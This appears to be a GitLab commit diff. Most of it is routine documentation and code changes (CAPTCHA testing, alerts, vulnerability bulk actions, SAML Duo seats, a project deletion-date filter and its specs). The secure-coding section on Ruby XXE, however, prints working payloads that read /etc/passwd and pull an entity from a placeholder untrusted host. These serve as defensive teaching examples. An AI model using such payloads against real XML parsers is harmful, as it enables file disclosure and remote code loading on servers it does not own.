| [XXE](#xml-external-entities) | [1](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_xml_injection_change_unsafe_nokogiri_parse_option.yml?ref_type=heads), [2](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_xml_injection_initialize_unsafe_nokogiri_parse_option.yml?ref_type=heads), [3](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_xml_injection_set_unsafe_nokogiri_parse_option.yml?ref_type=heads), [4](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_xml_injection_unsafe_xml_libraries.yml?ref_type=heads) | ✅ |
|
||||
| [Path traversal](#path-traversal-guidelines) (Ruby) | [1](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_path_traversal.yml?ref_type=heads) | ✅ |
|
||||
| [Path traversal](#path-traversal-guidelines) (Go) | [1](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/merge_requests/39) | ✅ |
|
||||
| [OS command injection](#os-command-injection-guidelines) (Ruby) | [1](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_command_injection.yml?ref_type=heads) | ✅ |
|
||||
|
|
@ -689,7 +689,31 @@ References:
|
|||
|
||||
XML external entity (XXE) injection is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. It can lead to disclosure of confidential data, denial of service, server-side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
|
||||
|
||||
### Example
|
||||
### XXE mitigation in Ruby
|
||||
|
||||
The two main ways we can prevent XXE vulnerabilities in our codebase are:
|
||||
|
||||
Use a safe XML parser: We prefer using Nokogiri when coding in Ruby. Nokogiri is a great option because it provides secure defaults that protect against XXE attacks. For more information, see the [Nokogiri documentation on parsing an HTML / XML Document](https://nokogiri.org/tutorials/parsing_an_html_xml_document.html#parse-options).
|
||||
|
||||
When using Nokogiri, be sure to use the default or safe parsing settings, especially when working with unsanitized user input. Do not use the following unsafe Nokogiri settings ⚠️:
|
||||
|
||||
| Setting | Description |
|
||||
| ------ | ------ |
|
||||
| `dtdload` | Tries to validate DTD validity of the object which is unsafe when working with unsanitized user input. |
|
||||
| `huge` | Unsets maximum size/depth of objects that could be used for denial of service. |
|
||||
| `nononet` | Allows network connections. |
|
||||
| `noent` | Allows the expansion of XML entities and could result in arbitrary file reads. |
|
||||
|
||||
### Safe XML Library
|
||||
|
||||
```ruby
|
||||
require 'nokogiri'
|
||||
|
||||
# Safe by default
|
||||
doc = Nokogiri::XML(xml_string)
|
||||
```
|
||||
|
||||
### Unsafe XML Library, file system leak
|
||||
|
||||
```ruby
|
||||
require 'rexml/document'
|
||||
|
|
@ -705,20 +729,94 @@ EOX
|
|||
|
||||
# Parsing XML without proper safeguards
|
||||
doc = REXML::Document.new(xml)
|
||||
puts doc.root.text # This could output the contents of /etc/passwd
|
||||
puts doc.root.text
|
||||
# This could output /etc/passwd
|
||||
```
|
||||
|
||||
### XXE mitigation in Ruby
|
||||
|
||||
Use a safe XML parser: We prefer using Nokogiri when coding in Ruby. Nokogiri is a great option because it provides secure defaults that protect against XXE attacks. For more information, see the [Nokogiri documentation on parsing an HTML / XML Document](https://nokogiri.org/tutorials/parsing_an_html_xml_document.html#parse-options).
|
||||
### Noent unsafe setting initialized, potential file system leak
|
||||
|
||||
```ruby
|
||||
require 'nokogiri'
|
||||
|
||||
# Safe by default
|
||||
doc = Nokogiri::XML(xml_string)
|
||||
# Vulnerable code
|
||||
xml = <<-EOX
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
|
||||
<foo>&xxe;</foo>
|
||||
EOX
|
||||
|
||||
# noent substitutes entities, unsafe when parsing XML
|
||||
po = Nokogiri::XML::ParseOptions.new.huge.noent
|
||||
doc = Nokogiri::XML::Document.parse(xml, nil, nil, po)
|
||||
puts doc.root.text # This will output the contents of /etc/passwd
|
||||
|
||||
##
|
||||
# User Database
|
||||
#
|
||||
# Note that this file is consulted directly only when the system is running
|
||||
...
|
||||
```
|
||||
|
||||
### Nononet unsafe setting initialized, potential malware execution
|
||||
|
||||
```ruby
|
||||
require 'nokogiri'
|
||||
|
||||
# Vulnerable code
|
||||
xml = <<-EOX
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
<!ENTITY xxe SYSTEM "http://untrustedhost.example.com/maliciousCode" >]>
|
||||
<foo>&xxe;</foo>
|
||||
EOX
|
||||
|
||||
# In this example we use `ParseOptions` but select insecure options.
|
||||
# NONONET allows network connections while parsing which is unsafe, as is DTDLOAD!
|
||||
options = Nokogiri::XML::ParseOptions.new(Nokogiri::XML::ParseOptions::NONONET, Nokogiri::XML::ParseOptions::DTDLOAD)
|
||||
|
||||
# Parsing the xml above would allow `untrustedhost` to run arbitrary code on our server.
|
||||
# See the "Impact" section for more.
|
||||
doc = Nokogiri::XML::Document.parse(xml, nil, nil, options)
|
||||
```
|
||||
|
||||
### Noent unsafe setting set, potential file system leak
|
||||
|
||||
```ruby
|
||||
require 'nokogiri'
|
||||
|
||||
# Vulnerable code
|
||||
xml = <<-EOX
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
|
||||
<foo>&xxe;</foo>
|
||||
EOX
|
||||
|
||||
# setting options may also look like this, NONET disallows network connections while parsing safe
|
||||
options = Nokogiri::XML::ParseOptions::NOENT | Nokogiri::XML::ParseOptions::NONET
|
||||
|
||||
doc = Nokogiri::XML(xml, nil, nil, options) do |config|
|
||||
config.nononet # Allows network access
|
||||
config.noent # Enables entity expansion
|
||||
config.dtdload # Enables DTD loading
|
||||
end
|
||||
|
||||
puts doc.to_xml
|
||||
# This could output the contents of /etc/passwd
|
||||
```
|
||||
|
||||
### Impact
|
||||
|
||||
XXE attacks can lead to multiple critical and high severity issues, like arbitrary file read, remote code execution, or information disclosure.
|
||||
|
||||
### When to consider
|
||||
|
||||
When working with XML parsing, particularly with user-controlled inputs.
|
||||
|
||||
## Path Traversal guidelines
|
||||
|
||||
### Description
|
||||
|
|
|
|||
|
|
@ -65,18 +65,14 @@ in an area of the application which already has CAPTCHA support, such as:
|
|||
After you force Spam Flagging + CAPTCHA using the steps above, you can test the
|
||||
behavior with any spam-protected model/controller action.
|
||||
|
||||
### Test with CAPTCHA enabled (CONDITIONAL_ALLOW verdict)
|
||||
### Test with CAPTCHA enabled (`CONDITIONAL_ALLOW` verdict)
|
||||
|
||||
If CAPTCHA is enabled in these areas, you must solve the CAPTCHA popup modal before you can resubmit the form:
|
||||
|
||||
- **Admin -> Settings -> Reporting -> Spam**
|
||||
- **Anti-bot Protection -> Enable reCAPTCHA**
|
||||
|
||||
<!-- vale gitlab_base.Substitutions = NO -->
|
||||
|
||||
### Testing with CAPTCHA disabled ("DISALLOW" verdict)
|
||||
|
||||
<!-- vale gitlab_base.Substitutions = YES -->
|
||||
### Testing with CAPTCHA disabled (`DISALLOW` verdict)
|
||||
|
||||
If CAPTCHA is disabled in **Admin -> Settings -> Reporting -> Spam** and **Anti-bot Protection -> Enable reCAPTCHA**,
|
||||
no CAPTCHA popup displays. You are prevented from submitting the form at all.
|
||||
|
|
|
|||
|
|
@ -62,7 +62,7 @@ Alerts contain one of the following icons:
|
|||
|
||||
## Alert details page
|
||||
|
||||
Go to the Alert details view by visiting the [Alert list](alerts.md) and selecting an alert from the list. You need at least the Developer role to access alerts. Select any alert in the list to examine its alert details page.
|
||||
Go to the Alert details view by visiting the [Alert list](#alert-list) and selecting an alert from the list. You need at least the Developer role to access alerts. Select any alert in the list to examine its alert details page.
|
||||
|
||||
Alerts provide **Overview** and **Alert details** tabs to give you the right amount of information you need.
|
||||
|
||||
|
|
|
|||
|
|
@ -84,7 +84,7 @@ side of the integrations list.
|
|||
#### Map fields in custom alerts
|
||||
|
||||
You can integrate your monitoring tool's alert format with GitLab alerts. To show the
|
||||
correct information in the [Alert list](alerts.md) and the
|
||||
correct information in the [Alert list](alerts.md#alert-list) and the
|
||||
[Alert Details page](alerts.md#alert-details-page), map your alert's fields to
|
||||
GitLab fields when you [create an HTTP endpoint](#http-endpoints):
|
||||
|
||||
|
|
|
|||
|
|
@ -7782,12 +7782,9 @@ This change has been removed from its original milestone and is being reassessed
|
|||
|
||||
GitLab believes in secure-by-default practices. To honor this, we are making some changes to support least privilege principles relating to the use of CI/CD variables.
|
||||
Today, users with the Developer role or higher are able to use [pipeline variables](https://docs.gitlab.com/ci/variables/#use-pipeline-variables) by default, without any verification or opt-in.
|
||||
In 18.0, GitLab is updating the [pipeline variable restrictions](https://docs.gitlab.com/ci/variables/#restrict-pipeline-variables) to default enabled.
|
||||
As a result of this change, the ability to use pipeline CI/CD variables will be restricted for all users by default.
|
||||
If necessary, you can manually update this setting with a minimum role that is allowed to use pipeline variables, though it's recommended to keep this as restricted as possible.
|
||||
|
||||
You can already start using a more secure-by-default experience for pipeline variables by raising the minimum role to the recommended [Owner only, or no one](https://docs.gitlab.com/ci/variables/#restrict-pipeline-variables).
|
||||
Starting in 17.7, this is the default for all new projects in new namespaces on GitLab.com.
|
||||
Starting in 17.7, `no one allowed` is the default for all new projects in new namespaces on GitLab.com.
|
||||
|
||||
</div>
|
||||
|
||||
|
|
|
|||
|
|
@ -348,6 +348,77 @@ For each selected vulnerability:
|
|||
|
||||

|
||||
|
||||
## Add vulnerabilities to an existing issue
|
||||
|
||||
{{< history >}}
|
||||
|
||||
- [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/13216) in GitLab 17.9 [with a flag](../../../administration/feature_flags.md) named `enhanced_vulnerability_bulk_actions`. Disabled by default.
|
||||
|
||||
{{< /history >}}
|
||||
|
||||
{{< alert type="flag" >}}
|
||||
|
||||
The availability of this feature is controlled by a feature flag.
|
||||
For more information, see the history.
|
||||
|
||||
{{< /alert >}}
|
||||
|
||||
You can link one or more vulnerabilities to existing issues in the vulnerability report.
|
||||
|
||||
Prerequisites:
|
||||
|
||||
- You must have at least the Maintainer role for the project or the `admin_vulnerability` permission in a custom role. The `admin_vulnerability` permission was [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/412693) from the Developer role in GitLab 17.0.
|
||||
|
||||
To attach vulnerabilities to an existing issue:
|
||||
|
||||
1. On the left sidebar, select **Search or go to** and find your project or group.
|
||||
1. Go to **Secure > Vulnerability report**.
|
||||
1. Select vulnerabilities:
|
||||
- To select individual vulnerabilities, select the checkbox beside each vulnerability.
|
||||
- To select all vulnerabilities on the page, select the checkbox in the table header.
|
||||
1. In the **Select action** dropdown list, select **Attach to existing issue**.
|
||||
1. In the **Enter issue URL or <#issue ID>** text box, enter the ID of an issue to autocomplete, or add the URL of the issue. You can enter multiple issues to add the vulnerabilities to.
|
||||
1. Select **Add**.
|
||||
|
||||
Each selected vulnerability will be linked to all of the specified issues.
|
||||
|
||||

|
||||
|
||||
## Add vulnerabilities to a new issue
|
||||
|
||||
{{< history >}}
|
||||
|
||||
- [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/13216) in GitLab 17.9 [with a flag](../../../administration/feature_flags.md) named `new_issue_attachment_from_vulnerability_bulk_action`. Disabled by default.
|
||||
|
||||
{{< /history >}}
|
||||
|
||||
{{< alert type="flag" >}}
|
||||
|
||||
The availability of this feature is controlled by a feature flag.
|
||||
For more information, see the history.
|
||||
|
||||
{{< /alert >}}
|
||||
|
||||
You can link one or more vulnerabilities to a new issue.
|
||||
|
||||
Prerequisites:
|
||||
|
||||
- You must have at least the Maintainer role for the project or the `admin_vulnerability` permission in a custom role. The `admin_vulnerability` permission was [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/412693) from the Developer role in GitLab 17.0.
|
||||
|
||||
To attach vulnerabilities to a new issue:
|
||||
|
||||
1. On the left sidebar, select **Search or go to** and find your project or group.
|
||||
1. Go to **Secure > Vulnerability report**.
|
||||
1. Select vulnerabilities:
|
||||
- To select individual vulnerabilities, select the checkbox beside each vulnerability.
|
||||
- To select all vulnerabilities on the page, select the checkbox in the table header.
|
||||
1. In the **Select action** dropdown list, select **Attach to new issue**.
|
||||
1. Select **Create issue**.
|
||||
|
||||
You will be redirected to a new issue. Each selected vulnerability is already linked to it.
|
||||
|
||||

|
||||
|
||||
## Sort vulnerabilities by date detected
|
||||
|
||||
By default, vulnerabilities are sorted by severity level, with the highest-severity vulnerabilities listed at the top.
|
||||
|
|
|
|||
Binary file not shown.
|
After Width: | Height: | Size: 65 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 65 KiB |
|
|
@ -292,7 +292,7 @@ To link the SAML groups:
|
|||
{{< history >}}
|
||||
|
||||
- [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/480766) for GitLab.com in GitLab 17.8 [with a flag](../../../administration/feature_flags.md) named `saml_groups_duo_pro_add_on_assignment`. Disabled by default.
|
||||
|
||||
- [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/512141) for Self-Managed in GitLab 17.11.
|
||||
{{< /history >}}
|
||||
|
||||
Prerequisites:
|
||||
|
|
@ -301,6 +301,12 @@ Prerequisites:
|
|||
|
||||
SAML Group Sync can manage GitLab Duo seat assignment and removal based on IdP group membership. Seats are only assigned when there are seats remaining in the subscription.
|
||||
|
||||
{{< tabs >}}
|
||||
|
||||
{{< tab title="GitLab.com" >}}
|
||||
|
||||
To configure for GitLab.com:
|
||||
|
||||
1. When [configuring a SAML Group Link](#configure-saml-group-links), select the **Assign GitLab Duo seats to users in this group** checkbox.
|
||||
1. Select **Save**.
|
||||
1. Repeat to add additional group links for all SAML users that should be assigned a GitLab Duo Pro or GitLab Duo Enterprise seat.
|
||||
|
|
@ -308,6 +314,37 @@ SAML Group Sync can manage GitLab Duo seat assignment and removal based on IdP g
|
|||
|
||||
The checkbox does not appear for groups without an active GitLab Duo add-on subscription.
|
||||
|
||||
{{< /tab >}}
|
||||
|
||||
{{< tab title="GitLab Self-Managed" >}}
|
||||
|
||||
To configure Self-Managed:
|
||||
|
||||
1. Configure the [SAML OmniAuth Provider](../../../integration/saml.md).
|
||||
1. Ensure your configuration includes `groups_attribute` and `duo_add_on_groups`. Any users who are a member of one or more of the `duo_add_on_groups` will have a GitLab Duo seat assigned, if a seat is available. See the following provider configuration example in `/etc/gitlab/gitlab.rb` for reference:
|
||||
|
||||
```ruby
|
||||
gitlab_rails['omniauth_providers'] = [
|
||||
{
|
||||
name: "saml",
|
||||
label: "Provider name",
|
||||
groups_attribute: 'Groups',
|
||||
duo_add_on_groups: ['Developers', 'Freelancers'],
|
||||
args: {
|
||||
assertion_consumer_service_url: "https://gitlab.example.com/users/auth/saml/callback",
|
||||
idp_cert_fingerprint: "43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8",
|
||||
idp_sso_target_url: "https://login.example.com/idp",
|
||||
issuer: "https://gitlab.example.com",
|
||||
name_identifier_format: "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent"
|
||||
}
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
{{< /tab >}}
|
||||
|
||||
{{< /tabs >}}
|
||||
|
||||
## Microsoft Azure Active Directory integration
|
||||
|
||||
{{< history >}}
|
||||
|
|
|
|||
|
|
@ -834,9 +834,11 @@ module API
|
|||
finder_params[:user] = params.delete(:user) if params[:user]
|
||||
finder_params[:id_after] = sanitize_id_param(params[:id_after]) if params[:id_after]
|
||||
finder_params[:id_before] = sanitize_id_param(params[:id_before]) if params[:id_before]
|
||||
finder_params[:updated_after] = declared_params[:updated_after] if declared_params[:updated_after]
|
||||
finder_params[:updated_before] = declared_params[:updated_before] if declared_params[:updated_before]
|
||||
finder_params[:include_pending_delete] = declared_params[:include_pending_delete] if declared_params[:include_pending_delete]
|
||||
|
||||
%i[updated_after updated_before include_pending_delete marked_for_deletion_on].each do |param|
|
||||
finder_params[param] = declared_params[param] if declared_params[param]
|
||||
end
|
||||
|
||||
finder_params
|
||||
end
|
||||
|
||||
|
|
|
|||
|
|
@ -180,6 +180,7 @@ module API
|
|||
optional :updated_before, type: DateTime, desc: 'Return projects updated before the specified datetime. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ'
|
||||
optional :updated_after, type: DateTime, desc: 'Return projects updated after the specified datetime. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ'
|
||||
optional :include_pending_delete, type: Boolean, desc: 'Include projects in pending delete state. Can only be set by admins'
|
||||
optional :marked_for_deletion_on, type: Date, desc: 'Date when the project was marked for deletion'
|
||||
|
||||
use :optional_filter_params_ee
|
||||
end
|
||||
|
|
|
|||
|
|
@ -123,6 +123,10 @@ module Gitlab
|
|||
converted_params[:include_forked] = Gitlab::Utils.to_boolean(converted_params[:include_forked])
|
||||
end
|
||||
|
||||
if converted_params.key?(:exclude_forks)
|
||||
converted_params[:exclude_forks] = Gitlab::Utils.to_boolean(converted_params[:exclude_forks])
|
||||
end
|
||||
|
||||
converted_params
|
||||
end
|
||||
end
|
||||
|
|
|
|||
|
|
@ -197,5 +197,4 @@ spec/frontend/vue_shared/components/tooltip_on_truncate_spec.js
|
|||
spec/frontend/vue_shared/components/upload_dropzone/upload_dropzone_spec.js
|
||||
spec/frontend/vue_shared/directives/tooltip_on_truncate_spec.js
|
||||
spec/frontend/vue_shared/directives/track_event_spec.js
|
||||
spec/frontend/webhooks/components/push_events_spec.js
|
||||
spec/frontend/work_items/components/work_item_description_rendered_spec.js
|
||||
|
|
|
|||
|
|
@ -13,9 +13,9 @@ import namespaceWorkItemTypesQuery from '~/work_items/graphql/namespace_work_ite
|
|||
import convertWorkItemMutation from '~/work_items/graphql/work_item_convert.mutation.graphql';
|
||||
import getWorkItemDesignListQuery from '~/work_items/components/design_management/graphql/design_collection.query.graphql';
|
||||
import {
|
||||
WORK_ITEM_TYPE_NAME_TASK,
|
||||
WORK_ITEM_TYPE_NAME_EPIC,
|
||||
WORK_ITEM_TYPE_NAME_ISSUE,
|
||||
WORK_ITEM_TYPE_ENUM_EPIC,
|
||||
WORK_ITEM_TYPE_NAME_TASK,
|
||||
} from '~/work_items/constants';
|
||||
|
||||
import {
|
||||
|
|
@ -37,6 +37,10 @@ describe('WorkItemChangeTypeModal component', () => {
|
|||
const taskTypeId = namespaceWorkItemTypesQueryResponse.data.workspace.workItemTypes.nodes.find(
|
||||
(type) => type.name === WORK_ITEM_TYPE_NAME_TASK,
|
||||
).id;
|
||||
const epicTypeId = namespaceWorkItemTypesQueryResponse.data.workspace.workItemTypes.nodes.find(
|
||||
(item) => item.name === WORK_ITEM_TYPE_NAME_EPIC,
|
||||
).id;
|
||||
|
||||
namespaceWorkItemTypesQueryResponse.data.workspace.workItemTypes.nodes
|
||||
.find((item) => item.name === WORK_ITEM_TYPE_NAME_TASK)
|
||||
.widgetDefinitions.splice(
|
||||
|
|
@ -73,7 +77,7 @@ describe('WorkItemChangeTypeModal component', () => {
|
|||
workItemType = WORK_ITEM_TYPE_NAME_TASK,
|
||||
convertWorkItemMutationHandler = convertWorkItemMutationSuccessHandler,
|
||||
designQueryHandler = noDesignQueryHandler,
|
||||
allowedWorkItemTypesEE = [],
|
||||
allowedConversionTypesEE = [],
|
||||
} = {}) => {
|
||||
wrapper = mountExtended(WorkItemChangeTypeModal, {
|
||||
apolloProvider: createMockApollo([
|
||||
|
|
@ -90,7 +94,7 @@ describe('WorkItemChangeTypeModal component', () => {
|
|||
widgets,
|
||||
workItemType,
|
||||
allowedChildTypes: [{ name: WORK_ITEM_TYPE_NAME_TASK }],
|
||||
allowedWorkItemTypesEE,
|
||||
allowedConversionTypesEE,
|
||||
},
|
||||
provide: {
|
||||
glFeatures: {
|
||||
|
|
@ -202,22 +206,22 @@ describe('WorkItemChangeTypeModal component', () => {
|
|||
});
|
||||
|
||||
it('shows no value present message if value of the widget is not present on conversion', async () => {
|
||||
const allowedWorkItemTypesEE = [
|
||||
const allowedConversionTypesEE = [
|
||||
{
|
||||
text: 'Epic (Promote to group)',
|
||||
value: WORK_ITEM_TYPE_ENUM_EPIC,
|
||||
id: epicTypeId,
|
||||
name: WORK_ITEM_TYPE_NAME_EPIC,
|
||||
},
|
||||
];
|
||||
createComponent({
|
||||
workItemType: WORK_ITEM_TYPE_NAME_ISSUE,
|
||||
widgets: [workItemChangeTypeWidgets.MILESTONE],
|
||||
workItemsAlpha: true,
|
||||
allowedWorkItemTypesEE,
|
||||
allowedConversionTypesEE,
|
||||
});
|
||||
|
||||
await waitForPromises();
|
||||
|
||||
findGlFormSelect().vm.$emit('change', WORK_ITEM_TYPE_ENUM_EPIC);
|
||||
findGlFormSelect().vm.$emit('change', epicTypeId);
|
||||
|
||||
await nextTick();
|
||||
|
||||
|
|
|
|||
|
|
@ -10,25 +10,23 @@ RSpec.describe Resolvers::ProjectsResolver, feature_category: :source_code_manag
|
|||
|
||||
let_it_be(:user) { create(:user, :with_namespace) }
|
||||
let_it_be(:group) { create(:group, name: 'public-group') }
|
||||
let_it_be(:private_group) { create(:group, name: 'private-group') }
|
||||
let_it_be(:project) { create(:project, :public, topic_list: %w[ruby javascript]) }
|
||||
let_it_be(:private_group) { create(:group, name: 'private-group', developers: user) }
|
||||
let_it_be(:project) { create(:project, :public, topic_list: %w[ruby javascript], developers: user) }
|
||||
let_it_be(:other_project) { create(:project, :public) }
|
||||
let_it_be(:group_project) { create(:project, :public, group: group) }
|
||||
let_it_be(:private_project) { create(:project, :private) }
|
||||
let_it_be(:private_project) { create(:project, :private, developers: user) }
|
||||
let_it_be(:other_private_project) { create(:project, :private) }
|
||||
let_it_be(:private_group_project) { create(:project, :private, group: private_group) }
|
||||
let_it_be(:private_personal_project) { create(:project, :private, namespace: user.namespace) }
|
||||
let_it_be(:other_org) { create(:organization, :private) }
|
||||
let_it_be(:other_org_project) { create(:project, organization: other_org, topic_list: ['postgres']) }
|
||||
let_it_be(:marked_for_deletion_on) { Date.yesterday }
|
||||
let_it_be(:project_marked_for_deletion) do
|
||||
create(:project, marked_for_deletion_at: marked_for_deletion_on, developers: user)
|
||||
end
|
||||
|
||||
let(:filters) { {} }
|
||||
|
||||
before_all do
|
||||
project.add_developer(user)
|
||||
private_project.add_developer(user)
|
||||
private_group.add_developer(user)
|
||||
end
|
||||
|
||||
before do
|
||||
::Current.organization = organization
|
||||
end
|
||||
|
|
@ -104,7 +102,8 @@ RSpec.describe Resolvers::ProjectsResolver, feature_category: :source_code_manag
|
|||
let(:current_user) { user }
|
||||
let(:organization) { user.organizations.first }
|
||||
let(:visible_projects) do
|
||||
[project, other_project, group_project, private_project, private_group_project, private_personal_project]
|
||||
[project, other_project, group_project, private_project, private_group_project, private_personal_project,
|
||||
project_marked_for_deletion]
|
||||
end
|
||||
|
||||
context 'when no filters are applied' do
|
||||
|
|
@ -112,6 +111,26 @@ RSpec.describe Resolvers::ProjectsResolver, feature_category: :source_code_manag
|
|||
is_expected.to match_array(visible_projects)
|
||||
end
|
||||
|
||||
context 'when aimedForDeletion filter is true' do
|
||||
let(:filters) { { aimed_for_deletion: true } }
|
||||
|
||||
it { is_expected.to contain_exactly(project_marked_for_deletion) }
|
||||
end
|
||||
|
||||
context 'with markedForDeletion filters', :freeze_time do
|
||||
context 'when a project has been marked for deletion on the given date' do
|
||||
let(:filters) { { marked_for_deletion_on: marked_for_deletion_on } }
|
||||
|
||||
it { is_expected.to contain_exactly(project_marked_for_deletion) }
|
||||
end
|
||||
|
||||
context 'when no projects have been marked for deletion on the given date' do
|
||||
let(:filters) { { marked_for_deletion_on: (marked_for_deletion_on - 2.days) } }
|
||||
|
||||
it { is_expected.to be_empty }
|
||||
end
|
||||
end
|
||||
|
||||
context 'when search filter is provided' do
|
||||
let(:filters) { { search: project.name } }
|
||||
|
||||
|
|
@ -124,7 +143,9 @@ RSpec.describe Resolvers::ProjectsResolver, feature_category: :source_code_manag
|
|||
let(:filters) { { membership: true } }
|
||||
|
||||
it 'returns projects that user is member of' do
|
||||
is_expected.to contain_exactly(project, private_project, private_group_project, private_personal_project)
|
||||
is_expected.to contain_exactly(
|
||||
project, private_project, private_group_project, private_personal_project, project_marked_for_deletion
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
|||
|
|
@ -217,6 +217,18 @@ RSpec.describe Gitlab::Search::Params, feature_category: :global_search do
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe 'for exclude_forks' do
|
||||
let(:params) { ActionController::Parameters.new(group_id: 123, search: search, exclude_forks: input) }
|
||||
|
||||
include_context 'with inputs'
|
||||
|
||||
with_them do
|
||||
it 'transforms param' do
|
||||
expect(search_params[:exclude_forks]).to eq(expected)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe 'converts not params' do
|
||||
|
|
|
|||
|
|
@ -1043,6 +1043,33 @@ RSpec.describe API::Projects, :aggregate_failures, feature_category: :groups_and
|
|||
end
|
||||
end
|
||||
|
||||
context 'when using the marked_for_deletion_on filter' do
|
||||
let_it_be(:user) { create(:user) }
|
||||
let_it_be(:group) { create(:group, owners: user) }
|
||||
let_it_be(:marked_for_deletion_project) do
|
||||
create(:project, marked_for_deletion_at: Date.parse('2024-01-01'), group: group)
|
||||
end
|
||||
|
||||
it 'returns groups marked for deletion on the specified date' do
|
||||
get api("/projects", user), params: { marked_for_deletion_on: Date.parse('2024-01-01') }
|
||||
|
||||
expect(response).to have_gitlab_http_status(:ok)
|
||||
expect(response).to include_pagination_headers
|
||||
expect(json_response).to be_an Array
|
||||
expect(json_response.map { |project| project["id"] }).to contain_exactly(marked_for_deletion_project.id)
|
||||
expect(json_response.map { |project| project["marked_for_deletion_on"] }).to contain_exactly(Date.parse('2024-01-01').iso8601)
|
||||
end
|
||||
|
||||
it 'returns all projects when marked_for_deletion_on is not specified' do
|
||||
get api("/projects", user)
|
||||
|
||||
expect(response).to have_gitlab_http_status(:ok)
|
||||
expect(response).to include_pagination_headers
|
||||
expect(json_response).to be_an Array
|
||||
expect(json_response.map { |project| project["id"] }).to contain_exactly(public_project.id, marked_for_deletion_project.id)
|
||||
end
|
||||
end
|
||||
|
||||
context 'filtering by repository_storage' do
|
||||
before do
|
||||
[project, project3].each { |proj| proj.update_columns(repository_storage: 'nfs-11') }
|
||||
|
|
|
|||
Loading…
Reference in New Issue